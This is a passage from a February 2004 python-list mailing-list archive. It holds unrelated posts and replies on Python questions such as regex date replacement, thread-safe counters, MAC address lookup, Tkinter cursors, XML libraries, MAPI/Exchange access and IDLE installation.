Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From bkc at Murkworks.com  Sun Feb 15 11:08:28 2004
From: bkc at Murkworks.com (Brad Clements)
Date: Sun, 15 Feb 2004 11:08:28 -0500
Subject: mailing list problems?
References: <20040214221839.GA22649@nl.linux.org>
Message-ID: <c0o5ht$uvk$1@sea.gmane.org>

I see the same problem. I'm on gmane, there's hardly any messages. Is it
mail<->news gateway, or a global conspiracy?

--
Novell DeveloperNet Sysop #5

_
"Gerrit" <gerrit at nl.linux.org> wrote in message
news:20040214221839.GA22649 at nl.linux.org...
Hi,

I have today seen only 5 mailing list messages to the python-list.
I see >30 messages in c.l.py newsgroup.
Do other people experience problems as well, or do I have a problem at my
end?

Gerrit.

--
Weather in Twenthe, Netherlands 14/02 21:25 UTC:
7.0??C   wind 1.3 m/s W (57 m above NAP)
--
Asperger's Syndrome - a personal approach:
http://people.nl.linux.org/~gerrit/english/

--
http://mail.python.org/mailman/listinfo/python-list






From alanmk at hotmail.com  Thu Feb 19 09:52:00 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Thu, 19 Feb 2004 14:52:00 +0000
Subject: threading id generator ?
In-Reply-To: <mailman.54.1077181694.27104.python-list@python.org>
References: <mailman.54.1077181694.27104.python-list@python.org>
Message-ID: <Q_3Zb.3607$rb.59573@news.indigo.ie>

[Andrea Manzini]
 > I'm a python newbie with a little problem; my need is to share an
 > incrementing counter between threads; i.e. every time I create a
 > new thread (which handle a single tcp/ip connection), I must assign
 > an unique numeric ID to it, without reuse old numbers... In example:
 >
 > thread-1 id: 1
 > thread-2 id: 2
 > thread-3 id: 3
 > thread-100 id: 100
 > thread-n id: n
 >
 > which locking semantic I must use to implement a shared generator
 > in a thread ?

This came up about a month ago. Group-Googling for ("shared generator"
and "multiple threads") gives useful results.

http://groups.google.com/groups?hl=en&lr=&ie=ISO-8859-1&q=%22shared+generator%22+%22multiple+threads%22&meta=group%3Dcomp.lang.python.*

regards,

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From dw-google.com at botanicus.net  Fri Feb  6 18:31:24 2004
From: dw-google.com at botanicus.net (David M. Wilson)
Date: 6 Feb 2004 15:31:24 -0800
Subject: Package organisation question.
Message-ID: <99dce321.0402061531.7c1d28b9@posting.google.com>

Hello!

I maintain a small package for talking to the API of BulkSMS.co.uk. I
have been adding support for some new features recently, and found
myself slightly indecisive over how best to lay out the modules
internally.

I have a 'BulkSMS.Exceptions' module, which contains a base class and
(currently) all derived exceptions that my package throws. This has
been fine up until now, as the exceptions were generated by only one
monolithic module. I am now adding support for 2-way SMS to the
package, and found a need to define some more exceptions.

I suspect this is close to purely being a style question, but I'm not
sure and wondered if people knew of any practical pros or cons of
either of the options I have.

My question is this: for extended functionality, implemented as a
sub-module on top of the core package, should extended exceptions be
defined in the main 'BulkSMS.Exceptions' (since they are distributed
together anyway), or should I 'import Exceptions' from the sub-module
and define my new exceptions there?

>From what I can see:

- With the former, a person need only 'help(BulkSMS.Exceptions)' to
get comprehensive information on errors they should expect to see.

- With the latter, software using the package need only import one
submodule to get both exceptions and functionality, eg.:

   import BulkSMS.InboxClient as InboxClient
   ...
   try:
      ...
   except InboxClient.AuthenticationError, error:
      ...

- Latter: makes organisation of the module a little messy, since the
'Exceptions' module does not represent all of the exceptions in the
package.

- Latter: code and exceptions loaded in the interpreter more
accurately represent the functionality in use.

- Latter: splitting submodules out into their own packages is easier,
since they are already self-contained. There would be less changes
required to existing code to make them work with any changes in the
namespace layout.


I think I am tending towards the latter, as I think the small amount
of disorganisation the split-up exceptions causes reaps quite useful
benefits elsewhere.

The question is really quite simple, however I'm trying hard not to
turn this little package into a mess. It's the first thing I've
written in ages that I've been even moderately happy with the design
of, and I don't want to loose the therapeutic effect modifying it has.
:)

There is at least one other feature I would like to add in this way,
so getting it right would be a good thing. A very old version of the
package is on http://botanicus.net/dw/.

Thanks,


David.
[Woah, you're still here? Yes, I'm aware it is quite a boring
question. :)]


From jcarlson at nospam.uci.edu  Mon Feb  2 17:14:47 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 02 Feb 2004 14:14:47 -0800
Subject: How to get my MAC address with python ?
In-Reply-To: <bvm0lk$5us$1@charm.magnus.acs.ohio-state.edu>
References: <bvlocd$37u$1@news.univ-rennes1.fr>
	<bvm0lk$5us$1@charm.magnus.acs.ohio-state.edu>
Message-ID: <bvmi8v$4hc$2@news.service.uci.edu>

Rick Holbert wrote:

> olivier Ravard wrote:
> 
> 
>>Hi,
>>
>>I want to know the MAC address of my local network card with a python
>>script.
>>I tested the socket module which gives only the IP address.
>>Is someone have an idea ?
> 
> 
> Here's a url where Mark Hammond explains how to do it on Windows:
> 
> http://groups.google.com/groups?oi=djq&selm=an_603363272
> 
> On Linux you can parse the output of the ifconfig command as described in
> following url:
> 
> http://mail.python.org/pipermail/python-list/1999-August/008816.html

It is also arbitrarily trivial to parse the output of ipconfig /all in 
Windows 2k/xp/2k3.  Windows 98/ME would be different.

  - Josiah



From __peter__ at web.de  Mon Feb  9 05:17:31 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 09 Feb 2004 11:17:31 +0100
Subject: Replace Pattern
References: <6f878011.0402082345.69d74d13@posting.google.com>
Message-ID: <c07mnr$t6i$01$1@news.t-online.com>

Sorin Marti wrote:

> Hello all,
> 
> I am quite new to python and want to do the following:
> 
> - open a file (done)
> - read each line (done)
> - search a pattern in the file and replace it
> - write the new file
> 
> I want to replace the date. example:
> INSERT INTO organization VALUES ('Brussels','Brabant','23 10 1954');
> 
> should be:
> INSERT INTO organization VALUES ('Brussels','Brabant','1954-10-24');
> 

I'm assuming the 24 is a typo, and that you want to change the date format
from 'DD MM YYYY' to 'YYYY-MM-DD'. Otherwise use 

line.replace("23 10 1954", "1954-10-24")

There must be simpler ways, but this is what I did:

import re

r = re.compile(r"\'(\d\d) (\d\d) (\d\d\d\d)'")

def adjustDate(m):
    return "'%s-%s-%s'" % (m.group(3), m.group(2), m.group(1))

infile = file("in.sql")
outfile = file("out.sql", "w")
for line in infile:
    outfile.write(r.sub(adjustDate, line))

The type of search pattern used is called regular expression, and if you
want to understand them, A. M. Kuchling has written a nice Howto for Python
users.

> What i've done:
> 
> import os,sys
> try:
>         fi = open('test.sql', 'r')
>         while fi.readline():
>             line = fi.readline();
>         
> except IOError:
>         print 'Can\'t open file for reading.'

That's the most probable error, but you cannot be sure. In those rare cases
when a problem occurs in the while loop, you are misleading the user -
which could well be yourself :-)
While it's good to start with proper error handling as early as possible, in
the case of a small conversion script, a traceback printed by an uncaught
exception could even be more helpful.

>         sys.exit(0)

Why would you want to exit your script with 0 (indicating success) if and
error occured?


Peter


From guettli at thomas-guettler.de  Wed Feb 18 09:59:25 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Wed, 18 Feb 2004 15:59:25 +0100
Subject: Sample Code for Performance Counters Implementation
References: <c0v81a$sra$1@news.mch.sbs.de>
	<pan.2004.02.18.11.22.30.487734@thomas-guettler.de>
	<c0vm6c$jv9$1@news.mch.sbs.de>
Message-ID: <pan.2004.02.18.14.59.19.71762@thomas-guettler.de>

Am Wed, 18 Feb 2004 18:03:45 +0530 schrieb Saravanan D:

> "Thomas Guettler" <guettli at thomas-guettler.de> wrote in message
> news:pan.2004.02.18.11.22.30.487734 at thomas-guettler.de...
>> Am Wed, 18 Feb 2004 14:02:08 +0530 schrieb Saravanan D:
>>
>> > Hello,
>> >
>> > Can any one provide the sample Python code which implements Performance
>> > Counters ?
>>
>> Hello,
>>
>> What do you mean with "Performance Counters"?
> PerfMon is a tool which comes up Windows OS to Monitor your process, Memory
> consumption of the process, thread count etc.,  .  Windows provides APIs to
> add entries/Counter Objects  to the Windows PerfMon GUI.  This can be
> monitored while application is running.  Some of the PerfMon APIs are also
> exposed to Python Win32.

Hi,

Maybe the cygwin API provides this, too. I don't use ms-windows anymore.

 thomas


From bignose-hates-spam at and-benfinney-does-too.id.au  Fri Feb 13 04:09:44 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 13 Feb 2004 19:59:44 +1050
Subject: Understanding CHMOD
References: <8089854e.0402130055.35ed927f@posting.google.com>
Message-ID: <slrnc2p688.176.bignose-hates-spam@rose.localdomain.fake>

On 13 Feb 2004 00:55:30 -0800, Fuzzyman wrote:
> Ok.... so I might be a windoze user trying to program CGIs for a Linux
> server.... but Python doesn't seem to go out of it's way to make
> understanding file attributes difficult. The python manual is
> appalling in this are a :-(

The library reference seems to detail all the points that were confusing
you.  The documentation for the 'stat' module in particular seems pretty
explicit:

    <http://www.python.org/doc/current/lib/module-stat.html>

-- 
 \           "There is no reason anyone would want a computer in their |
  `\          home."  -- Ken Olson, president, chairman and founder of |
_o__)                                    Digital Equipment Corp., 1977 |
Ben Finney <http://bignose.squidly.org/>


From frank at chagford.com  Wed Feb  4 10:03:15 2004
From: frank at chagford.com (Frank Millman)
Date: 4 Feb 2004 07:03:15 -0800
Subject: Any problems with *lots* of attributes?
Message-ID: <246a4e07.0402040703.2be902a9@posting.google.com>

Hi all

This is a question about the performance trade-off between two methods
of storing data. One method is to create a separate attribute for each
piece of data, and get/set the value according to its name. Another
method is to create a list, and get/set the value according to its
position in the list. In my limited tests, the first method is
quicker.

My application is database-intensive. I have a Table class which is
instantiated for each table that is opened. I have a Column class
which is instantiated for each column in each table. The number of
attributes for each Column can be up to about 20. It is possible for
the number of column instances at any one time to run into the
hundreds, therefore the total number of attributes can run into
thousands.

At the moment I store the data for each column in a single Column
attribute, as a list. If I switch to creating a separate Column
attribute for each piece of data, is there a danger that the number of
attributes may eventually reach a point where any performance gain is
negated or even reversed?

Any advice will be much appreciated.

Frank Millman


From http  Wed Feb 18 02:11:38 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 23:11:38 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
Message-ID: <7xsmh8hnf9.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> Man, what a perfect gaffe on my part.  The purpose of the do...while
> construct is to _eliminate_ the duplication.  This should be:
> 
> 	do:
> 	    line = inputFile.readline()
> 	while line:
> 	    ...

I still like the assignment expression better.


From philh at invalid.email.address  Tue Feb  3 19:44:12 2004
From: philh at invalid.email.address (phil hunt)
Date: Wed, 4 Feb 2004 00:44:12 +0000
Subject: Release announcement for Easibox 0.5.0
Message-ID: <slrnc20g2s.e4v.philh@cabalamat.cabalamat.org>

I've just released version 0.5.0 of my Easibox utility, which is
used to automate the creation of archive files (tar, tar.gz, tgz,
tar.bz2 and zip formats), typically for open source projects.

New features in Easibox 0.5.0
=============================

Version 0.5.0 adds new features to Easibox: 
 
* Support for the .Z file type

* More intuitive treatment of hidden files, fixing what is arguably
  a bug, or arguably bad user interface design.


Further information
=================== 

Easibox is written in Python and licensed under the GNU General
Public License; see file COPYING (which comes with the
distribution) for details.

Release notes for the latest version of Easibox:
   <http://www.cabalamat.org/weblog/current_easibox.html>
   
The Easibox home page:
   <http://www.cabalamat.org/oss/easibox/intro.html>

Easibox page on Freshmeat:
   <http://freshmeat.net/projects/easibox/>



-- 
"It's easier to find people online who openly support the KKK than 
people who openly support the RIAA" -- comment on Wikipedia
(Email: zen19725 at zen dot co dot uk)  




From dippyd at yahoo.com.au  Wed Feb 18 02:19:18 2004
From: dippyd at yahoo.com.au (Steve)
Date: Wed, 18 Feb 2004 18:19:18 +1100
Subject: Maintaining a list
References: <b4a8ffb6.0402131633.1cb220d6@posting.google.com>
Message-ID: <403311F6.2070202@yahoo.com.au>

Thomas Philips wrote:

> I'm teaching myself programming using Python and want to build a list
> inside a function (rather like using a static variable in a Fortran
> subroutime - the list must not disappear as soon as the subroutine is
> exited). What's the simplest way to do this?
[snip]
> The list must be initialized to an empty list before the first call,
> and must be preserved between calls. I have not got to object oriented
> programming as yet, so please keep the solution simple.

How about using a global variable? Define a variable in 
your main program:

mylist = []

def myroutine(x)
     global mylist
     mylist.append(x)
     print mylist
     return None

Then call it like this:

 >>> myroutine(1)
[1]
 >>> myroutine(2)
[1, 2]

and so forth.


There are disadvantages to using global variables, but 
if you are looking for simplicity this is pretty simple.



-- 
Steven D'Aprano



From list-python at ccraig.org  Wed Feb  4 13:32:06 2004
From: list-python at ccraig.org (Christopher A. Craig)
Date: 04 Feb 2004 13:32:06 -0500
Subject: an ingrate newbie complains
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
Message-ID: <t1w7jz2zoex.fsf@kermit.wreck.org>

"Elaine Jackson" <elainejackson7355 at home.com> writes:

> 1) I find the following behavior puzzling and disappointing:
> 
> >>> X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
> >>> Y=dict(X)
> >>> Z=list(Y)
> >>> Z==X
> False
> >>> Z==Y.keys()
> True

the list() constructor treats its argument as an iterator.  Because
the overwhelmingly most common use case for an iterator on a dict is
to iterate over the keys, this creates a list of keys when given a
dict.


-- 
Christopher A. Craig <list-python at ccraig.org>
Love does no wrong to a neighbor; therefore love is
the fulfillment of the law - Romans 13:10




From seberino at spawar.navy.mil  Mon Feb  2 03:18:09 2004
From: seberino at spawar.navy.mil (Christian Seberino)
Date: 2 Feb 2004 00:18:09 -0800
Subject: C extension=> pow(2,
	1) gives DIFFERENT answers in different parts of C extension!?!?!
	Any ideas why?
Message-ID: <bf23f78f.0402020018.4e67de2b@posting.google.com>

I put this print statement in various parts of my c extension...

printf("XXX %lf\n", pow(2,1));

(I replaced XXX with name of function it was in.)

It gave 2.0 at first but when I called another C function I made
and entered it... then value dropped to 0.0!???!?

Any ideas why?

Chris


From jorgencederberg at hotmail.com  Thu Feb 12 03:09:46 2004
From: jorgencederberg at hotmail.com (=?ISO-8859-1?Q?J=F8rgen_Cederberg?=)
Date: Thu, 12 Feb 2004 09:09:46 +0100
Subject: Mouse Cursors on Tkinter
In-Reply-To: <qsGWb.1906$sp1.1488@news.get2net.dk>
References: <002b01c3f0cc$86954530$447290c8@luz>
	<mailman.1482.1076524840.12720.python-list@python.org>
	<qsGWb.1906$sp1.1488@news.get2net.dk>
Message-ID: <fxGWb.1934$Iq1.1008@news.get2net.dk>

J?rgen Cederberg wrote:
> Hi
> 
> actually you _can_ change the cursor on Windows computers:
> 
> from Tkinter import *
> root = Tk()
> root.configure(cursor='spraycan')
> root.mainloop()
> 
> This will show a spraycan (quite ugly though) in the window.
> 
> The names of the cursors can be found in "Tkinter reference: A GUI for 
> Python", located at http://www.nmt.edu/tcc/help/lang/python/tkinter.html
> 
> Regards
> Jorgen Cederberg
> 

Mr. Cederberg: Well Jorgen, you better wake up before answering any 
newsgroups postings. The OP asked for his _own_ cursors.

Jorgen Cederberg: Gee I'm really sorry, I'll try to remember that. And I 
don't know how to do that on a windows machine.

Regards
Jorgen Cederberg


From paul at boddie.net  Tue Feb 17 04:32:37 2004
From: paul at boddie.net (Paul Boddie)
Date: 17 Feb 2004 01:32:37 -0800
Subject: XML Parsing
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
	<5z3Yb.3920$Cd6.177500@news20.bellglobal.com>
	<c0rkhb$1ai18a$1@ID-71831.news.uni-berlin.de>
Message-ID: <23891c90.0402170132.2df3512f@posting.google.com>

"James Kew" <james.kew at btinternet.com> wrote in message news:<c0rkhb$1ai18a$1 at ID-71831.news.uni-berlin.de>...
> 
> For raw speed, libxml2 (and its Python wrapper) seems to get a lot of
> glowing reviews. It's not a standard DOM API, though, and again
> documentation is a problem (lots of C-API-level documentation, but not much
> in terms of how to put it together into a working Python app).

I made a PyXML-style wrapper for libxml2, although it works above the
existing wrapper and therefore isn't very fast. However, if you just
want to access various parts of your documents before getting libxslt
to do the real work, you might find it convenient. Here it is:

  http://www.boddie.org.uk/python/downloads/libxml2dom-0.1.tar.gz

I also made a wrapper around qtxml/KHTML which gives the same
PyXML-style conveniences:

  http://www.boddie.org.uk/python/downloads/qtxmldom-0.1.tar.gz

Obviously, if you don't mind writing to a specific API, then neither
of these packages is the way to go. However, XML processing is quite
often a tradeoff between compliance, convenience and performance, as
the recent PyRXP debate demonstrates. ;-)

Paul


From kbk at shore.net  Mon Feb 16 22:25:55 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Tue, 17 Feb 2004 03:25:55 GMT
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
Message-ID: <87y8r2l73x.fsf@hydra.localdomain>

kent at cpttm.org.mo (Kent Tong) writes:

> I've installed Python 2.3 using the Windows installer downloaded
> from www.python.org. I'm using Win98. The installation process went
> well without any problem.  However, double-clicking the "IDLE
> (Python GUI)" does nothing. The cursor changes to a hour-glass for
> about 1 second and then nothing happens. The "Python (command line)"
> works.

The current Python CVS has improvements which make it easier to track
down problems when IDLE is having trouble setting itself up.  One
improvement is to have Tk post a dialog describing the error, another
is better error messages.  (These changes were also added to the
IDLEfork CVS.)

That isn't much help to you, I'm afraid.  To see the error in 2.3.3,
you will need to start IDLE using a command window.

Open a command window, then:

\python23\python.exe -i \python23\lib\idlelib\idle.py

and let us know what you see.

Note that I didn't use pythonw.exe or idle.pyw!

It is likely a firewall or network setup problem.  To run IDLE
without the subprocess:

\python23\python.exe  \python23\lib\idlelib\idle.py -n

but it's much nicer with the subprocess execution server.

-- 
KBK


From PPNTWIMBXFFC at spammotel.com  Wed Feb 25 04:34:09 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 25 Feb 2004 01:34:09 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<mailman.46.1077640974.8594.python-list@python.org>
Message-ID: <15c2d03b.0402250134.ad4b3c4@posting.google.com>

> >*** Problem: clumsy properties for classes
> 
> The problem is currently under discussion.  Your fix is based on thinking
> 'self' to be a keyword, which it is not, instead of a usage convention for
> English language programmers.

Thanks! Now I know where my thinking went wrong... self is "another"
soft Python contract. This was now a real enlightment! I intermingled
Java's <this> with Python's <self>. They are not the same and <self>
is not "automatic".

> Quiz: how would you rewrite map(len, ['abc', (1,2,3,4), [5,6]]) if len()
> were a method?

The quiz is already (and very elegantly and better readable) solved
with a comprehension list. The OO-technique used is called
polymorphism... 8o).

Thanks for the hint on <self> is not "system var".
Cheers,
Marco


From borg at swirve.com  Sat Feb 28 05:18:21 2004
From: borg at swirve.com (Adrian B.)
Date: 28 Feb 2004 02:18:21 -0800
Subject: Publish/Subscribe Lib for Python?
Message-ID: <7ed8f64d.0402280218.5ff447cf@posting.google.com>

Does anyone know of a framework or library that will enable me to use
publish/subscribe comms?  I want to create a server (using Python)
running on a Unix box that will accept client connections (from GUIs
built with wxPython) and publish realtime data updates to them.  Any
advice on where to start?

Thanks.
A.B.


From b.ambrosius at hccnet.nl  Thu Feb 26 14:05:44 2004
From: b.ambrosius at hccnet.nl (Boba)
Date: Thu, 26 Feb 2004 20:05:44 +0100
Subject: ADO and COM contants
Message-ID: <403e4207$0$12847$3a628fcd@reader1.nntp.hccnet.nl>

Hi,
I'm using python as the language in ASP pages to query a database ussing the
com interface. I want to do a parameter query and I have to use constants
like Null and Nothing. Does anyone know how to use the constants in Python?

Part of the code:
#------------------
 cmdQuery = win32com.client.Dispatch("ADODB.Command")
 cmdQuery.ActiveConnection = cnn
 cmdQuery.CommandText = "aStoredQuery"
 cmdQuery.CommandType = adCmdStoredProc

 # parameter: startdate
 qryParm = win32com.client.Dispatch("ADODB.Parameter")
 qryParm.Name = "parDateStart"
 qryParm.Type = adDBDate
 tmpDate =
req.documentElement.selectSingleNode("//request_parDatBegin").text
 qryParm.Value = Null  # at least sometimes
 cmdQuery.Parameters.Append(qryParm)
#---------------
end code

Bob




From yuba at cyberback.com  Fri Feb 13 11:18:26 2004
From: yuba at cyberback.com (Greg Lindstrom)
Date: 13 Feb 2004 08:18:26 -0800
Subject: Python and MS Exchange
References: <mailman.12.1076608969.698.python-list@python.org>
	<c0gt44$o7j$1@arachne.labyrinth.net.au>
Message-ID: <68fec02e.0402130818.48132268@posting.google.com>

> Can you tell us what object model you are using?  Provide a little 
> sample code to give us a clue.

Sure thing.

from win32all.client import Dispatch

mailbox = Dispatch("MAPI.session")
mailbox.Login(profile='MS Exchange Settings')

# Now *I* think I should be able to do the following
mailbox.listfolders()

# but I get...
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File "C:\Python23\lib\site-packages\win32com\client\dynamic.py",
line 460, in __getattr__
    raise AttributeError, "%s.%s" % (self._username_, attr)
AttributeError: MAPI.Session.listfolders

# so, I've already taken a wrong turn!


I've got the SpamBayes source code (BTW- I've been using SpamBayes for
about 6 months and love it...very little SPAM gets through to me
anymore) and will be looking it over this weekend.

Is there a way to examine the mailbox object above to see what methods
are available?

Thanks for your help.  I am keeping notes and plan to write up a
summary for others.

--greg


> 
> 1) If you are yusing MAPI, there is a CreateFolder method.
> 2) Try to open it, and if it fails, check the error code.
> 3) This is probably in a property on the folder.  Check the Exchange 
> forums for what folder property you need.
> 4) A "Move" method.
> 
> Check out the SpamBayes project, and look at the source code to the 
> Outlook Addin - in general, this uses MAPI (which is basically the 
> 'exchange object model'), but also does a few things via the Outlook 
> object model - so you get a few examples of both.  MAPI has a bigger 
> learning curve, but is more powerful and faster.
> 
> Mark


From sigurd at 12move.de  Sun Feb  1 20:15:19 2004
From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=)
Date: Mon, 02 Feb 2004 02:15:19 +0100
Subject: F: How can I make re.sub() replace patterns across newlines
References: <bvk6dr$sumlg$1@ID-212335.news.uni-berlin.de>
Message-ID: <m3y8rmqo5z.fsf@hamster.pflaesterer.de>

Viktor Rosenfeld <- rosenfel at informatik.hu-berlin.de wrote:

> I want to strip a JAVA file of /* */ like comments.  Unfortunately, the
> simple regexp "\/\*.*\*\/" only works on comments, that are on one line. 
> Is there a simple way to remove comments that go across several lines with
> python regexp's?  I tried re.M to no avail.

You must use re.S

,----[ Python lib reference ]
| `S'
| 
| `DOTALL'
|      Make the `.' special character match any character at all,
|      including a newline; without this flag, `.' will match anything
|      _except_ a newline.
`----


   KP

-- 
M?nner der Wissenschaft! Man sagt ihr viele nach, 
aber die meisten mit Unrecht.  
                             Karl Kraus 'Aphorismen'


From jmcalvar at telecable.es  Wed Feb  4 07:26:47 2004
From: jmcalvar at telecable.es (=?ISO-8859-1?Q?Jos=E9?=)
Date: Wed, 04 Feb 2004 13:26:47 +0100
Subject: search between 2 files
Message-ID: <bvqoea$pjj$1@nsnmrro2-gest.nuria.telefonica-data.net>

I'm newby in Python, and I'm working on a script to manage files.
I have two files, one with a list of domains, and the other with a new 
list of domains. I'd like to know if I have a repeated domain in the 
new's one. I tried opening with readline(), with readlines(), but truly 
I have no idea to countinue.

Have anybody any question?

thanks



From warlock at eskimo.com  Sat Feb 21 02:36:45 2004
From: warlock at eskimo.com (Jim Richardson)
Date: Fri, 20 Feb 2004 23:36:45 -0800
Subject: Parsing apache log files
References: <oqigg1-3nl.ln1@grendel.myth> <c149qh$33i$1@news.service.uci.edu>
	<t32hg1-u8n.ln1@grendel.myth> <c15foq$css$1@news.service.uci.edu>
	<bnjig1-3ku.ln1@grendel.myth> <c16vdg$87n$2@news.service.uci.edu>
Message-ID: <ddejg1-8td.ln1@grendel.myth>


On Fri, 20 Feb 2004 22:53:10 -0800,
 Josiah Carlson <jcarlson at nospam.uci.edu> wrote:
>> It was the http auth, which for some reason, show up from time to time,
>> may be a misconfigured router/proxy don't know. But this works, although
>> my brain is still parsing the regexp :) Thank you very much for your
>> help.
>
> It is relatively easy to generate the regular expression by hand, I did. 
>   But I agree, it is a bit dense if you didn't do it.  I need to pull 
> out the python docs every time I see a regular expression that I didn't 
> write.
>
>   - Josiah


I can parse it if I think hard about what it does :) I guess that means
that the python interp is smarter than me :) Thanks again. 

-- 
Jim Richardson     http://www.eskimo.com/~warlock
"`If there's anything more important than my ego around, I 
want it caught and shot now.'"
	-- Zaphod


From dan at ithium.net  Thu Feb  5 05:53:40 2004
From: dan at ithium.net (Dan Williams)
Date: Thu, 5 Feb 2004 10:53:40 -0000
Subject: Creating a variable of a specific type
Message-ID: <E1Aoh9P-0002zY-Kh.2004-02-05-10-54-30@tmailb1.svr.pol.co.uk>

Hi people

I understand that Python is strongly, but also dynamically typed. However, I
need to create a variable which initially isn't actually set to anything,
but still needs to be of a certain type. I've looked around a bit, but I'm
not entirely sure how to do this.

Specifically, I have a bit of C++ code which says:

struct in_addr ipAddress;
struct sockaddr_in serverAddress;
map<int, socklen_t> clientAddressSizes;
fd_set primarySocketTable;
map<int, pthread_t> socketThreads;

...this is an except of a sample of different types that I am using. From
looking at the documentation for the Python socket module, for instance, I
can see that the function socket.inet_ntoa() requires a variable in struct
in_addr form, just like in C++. The difference is that I don't know how to
set up a 'blank' variable, if you see what I mean!

I'm sure it's just a simple thing that has eluded me somehow, but in
addition to answering this question if anyone can speak any wisdom about the
other data types I have listed above, and their equivalents in Python, that
would be helpful.

Cheers

Dan






From gerrit at nl.linux.org  Sun Feb  1 10:26:27 2004
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sun, 1 Feb 2004 16:26:27 +0100
Subject: wxPython documentation
In-Reply-To: <2c60f0e0.0402010147.e225e51@posting.google.com>
References: <401c25a3$0$11357$636a55ce@news.free.fr>
	<2c60f0e0.0402010147.e225e51@posting.google.com>
Message-ID: <20040201152627.GA5113@nl.linux.org>

Richard James wrote:
> Why do all programmers seem to think good documention is optional?

In my humble opinion, it is not fair to say this on a Python list.
Python documentation is generally very good and Guido van Rossum is one
of the few good opensource programmers who writes good documentation as
well. The law in my .sig does not apply to Python.

Gerrit.

-- 
Real programmers don't write documentation:
if it was hard to write, it should be hard to understand.
-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From guido at python.org  Sat Feb  7 00:06:40 2004
From: guido at python.org (Guido van Rossum)
Date: Fri, 06 Feb 2004 21:06:40 -0800
Subject: OSCON Reminder: proposal deadline Februrary 9
Message-ID: <200402070506.i1756eJ26916@c-24-5-183-134.client.comcast.net>

Just a quick reminder: you still have this weekend to submit a
proposal for the Python 12 Conference at OSCON:

The O'Reilly Open Source Convention (OSCON) will be held July 26-30,
2004 at the Portland Marriott Downtown in Portland, OR.
http://conferences.oreillynet.com/os2004/

Proposals Submission Information--Deadline: February 9, 2004
http://conferences.oreillynet.com/cs/os2004/create/e_sess

--Guido van Rossum (home page: http://www.python.org/~guido/)



From http  Sat Feb 28 19:57:22 2004
From: http (Paul Rubin)
Date: 28 Feb 2004 16:57:22 -0800
Subject: AES in Python?
Message-ID: <7x7jy6em8d.fsf_-_@ruckus.brouhaha.com>

Some time ago I had a copy of an AES implementation written in pure
Python by Bryan Olson.  I seem to have misplaced it.  Anyone have a
copy they can post a url for (or post the code)?  Or if needed, leave
me a note at <http://phr.cx>.  Thanks.


From stardif10 at hotmail.com  Sat Feb 14 21:13:55 2004
From: stardif10 at hotmail.com (Sam)
Date: Sun, 15 Feb 2004 13:13:55 +1100
Subject: PyKDE/PyQT/SIP
Message-ID: <402ed5d0$0$14898$afc38c87@news.optusnet.com.au>

Hey people,

I am trying to install these modules to play around with KDE panel 
applets, but I am beginning to think it's too much trouble to be worth it.

I've installed PyQT (as well as the PyQT-devel rpm, which is apparently 
needed if I install PyQT from an rpm), PyKDE and the sip module. When I 
run the importTest.py script that comes with PyKDE, I get this:

-------------------------------------
Testing PyKDE module imports

dcop
/usr/lib/python2.3/site-packages/dcop.py:22: RuntimeWarning: Python C 
API version mismatch for module libsip: This Python has API version 
1012, module libsip has version 1011.
   import libsip
kdecore
kdesu
kdefx
kdeui
Traceback (most recent call last):
   File "importTest.py", line 7, in ?
     exec ("import " + mod)
   File "<string>", line 1, in ?
   File "/usr/lib/python2.3/site-packages/kdeui.py", line 67, in ?
     import libkdeuic
ImportError: libpython2.3.so.1.0: cannot open shared object file: No 
such file or directory
---------------------------------

If anyone could give me an easy solution to the problem (or any 
solution, but easy would be preferable ;) that would be fantastic.

Thanks,
Sam.



From nospam-deets at web.de  Wed Feb  4 08:40:53 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Wed, 04 Feb 2004 14:40:53 +0100
Subject: install Ctrl-C handler
References: <bvqn4r$7ga$1@news.rz.uni-karlsruhe.de>
Message-ID: <bvqsp0$vaei1$1@ID-111250.news.uni-berlin.de>

> can anybody tell me how you install something like a Ctrl-C handler in
> Python, i.e. a routine that is called when ^C is pressed and that can do
> cleanup work?

On *nix you can use the signal-module for general signal handling. There are
some caveats in multithreaded apps.

Regards,

Diez


From pyabo at novamens.com  Fri Feb 20 10:37:17 2004
From: pyabo at novamens.com (Pablo Yabo)
Date: Fri, 20 Feb 2004 12:37:17 -0300
Subject: Py_Finalize
References: <028201c3f7b8$5e312cb0$2601a8c0@hq.novamens.com>
	<4036135D.6080003@ghaering.de>
	<02a401c3f7c3$914e0a40$2601a8c0@hq.novamens.com>
	<6.0.1.1.2.20040220092216.04f84b80@mail.fxtech.com>
Message-ID: <02ac01c3f7c7$6cbaa630$2601a8c0@hq.novamens.com>

I use Py_DECREF when the module is no longer needed, but when I call
PyImport_Import the reference count of the module is 2, so after
decrementing the reference count it doesn't unload.

